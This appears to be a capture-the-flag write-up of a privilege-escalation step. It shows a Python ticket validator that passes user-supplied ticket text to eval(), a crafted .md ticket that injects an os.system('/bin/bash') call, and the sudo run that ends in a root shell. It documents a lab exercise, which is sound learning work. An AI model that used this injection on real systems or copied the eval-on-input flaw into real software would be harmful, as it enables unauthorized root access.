4 privesc

development@bountyhunter:~$ cat contract.txt
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John


development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

# understanding the code
# 1. enter path to ticket file
# 2. file should be of extension .md and only then its loaded
# 3. evaluate(file): 
# 3.1. first line should be "# Skytrain Inc"
# 3.2. second line can be [""## Ticket to ", "__Ticket Code:__"]
# 3.3. should start with "**" followed by a '+' which will split then followed by an int (which %7 == 4)
# 3.4. there is a python eval function that we can exploit

# after several tries, the code is >
development@bountyhunter:~$ cat kashz.md
# Skytrain Inc
## Ticket to kashz
__Ticket Code:__
**109+**__import__("os").system("/bin/bash")

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
kashz.md
Destination: kashz
root@bountyhunter:/home/development# whoami;id;hostname
root
uid=0(root) gid=0(root) groups=0(root)
bountyhunter